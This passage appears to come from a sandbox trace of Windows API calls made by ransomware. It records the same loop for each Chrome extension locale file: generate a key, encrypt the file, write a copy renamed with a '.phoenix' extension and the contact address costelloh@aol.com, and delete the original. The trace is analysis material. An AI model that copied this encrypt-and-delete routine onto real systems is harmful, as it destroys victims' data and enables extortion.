	[0261.635] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151480) returned 1
	[0261.635] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.635] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.635] CryptDestroyKey (hKey=0x151480) returned 1
	[0261.635] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.649] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0261.649] CloseHandle (hObject=0x2c0) returned 1
	[0261.649] CloseHandle (hObject=0x310) returned 1
	[0261.649] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json")) returned 1
	[0261.650] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.650] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.651] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=251) returned 1
	[0261.651] CloseHandle (hObject=0x310) returned 1
	[0261.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json")) returned 0x20
	[0261.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.651] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.651] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.651] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.651] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.652] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0261.652] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.652] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xfb, lpOverlapped=0x0) returned 1
	[0261.665] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100, dwBufLen=0x100 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100) returned 1
	[0261.665] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x100, lpOverlapped=0x0) returned 1
	[0261.666] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0261.666] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.666] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.666] CryptDestroyKey (hKey=0x151540) returned 1
	[0261.666] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.666] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0261.666] CloseHandle (hObject=0x310) returned 1
	[0261.666] CloseHandle (hObject=0x2c0) returned 1
	[0261.667] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json")) returned 1
	[0261.667] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.667] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.668] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=327) returned 1
	[0261.668] CloseHandle (hObject=0x2c0) returned 1
	[0261.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json")) returned 0x20
	[0261.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.668] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.668] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.668] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.668] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.669] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0261.669] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.672] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x147, lpOverlapped=0x0) returned 1
	[0261.673] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x150, dwBufLen=0x150 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x150) returned 1
	[0261.673] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x150, lpOverlapped=0x0) returned 1
	[0261.674] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151340) returned 1
	[0261.674] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.674] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.674] CryptDestroyKey (hKey=0x151340) returned 1
	[0261.674] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.674] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0261.675] CloseHandle (hObject=0x2c0) returned 1
	[0261.675] CloseHandle (hObject=0x310) returned 1
	[0261.675] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json")) returned 1
	[0261.675] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.676] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.676] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=217) returned 1
	[0261.676] CloseHandle (hObject=0x310) returned 1
	[0261.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json")) returned 0x20
	[0261.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.676] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.676] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.676] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.676] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.677] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151340) returned 1
	[0261.677] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.677] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xd9, lpOverlapped=0x0) returned 1
	[0261.678] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0261.678] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0261.679] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151140) returned 1
	[0261.679] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.679] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.679] CryptDestroyKey (hKey=0x151140) returned 1
	[0261.679] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.679] CryptDestroyKey (hKey=0x151340) returned 1
	[0261.679] CloseHandle (hObject=0x310) returned 1
	[0261.679] CloseHandle (hObject=0x2c0) returned 1
	[0261.679] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json")) returned 1
	[0261.680] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.680] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.680] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=450) returned 1
	[0261.680] CloseHandle (hObject=0x2c0) returned 1
	[0261.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json")) returned 0x20
	[0261.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.681] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.681] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.681] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.681] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.681] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0261.681] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.681] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1c2, lpOverlapped=0x0) returned 1
	[0261.682] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1d0) returned 1
	[0261.682] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1d0, lpOverlapped=0x0) returned 1
	[0261.683] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0261.683] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.683] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.683] CryptDestroyKey (hKey=0x151380) returned 1
	[0261.683] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.684] CryptDestroyKey (hKey=0x151640) returned 1
	[0261.684] CloseHandle (hObject=0x2c0) returned 1
	[0261.684] CloseHandle (hObject=0x310) returned 1
	[0261.684] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json")) returned 1
	[0261.685] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.685] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.685] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=213) returned 1
	[0261.686] CloseHandle (hObject=0x310) returned 1
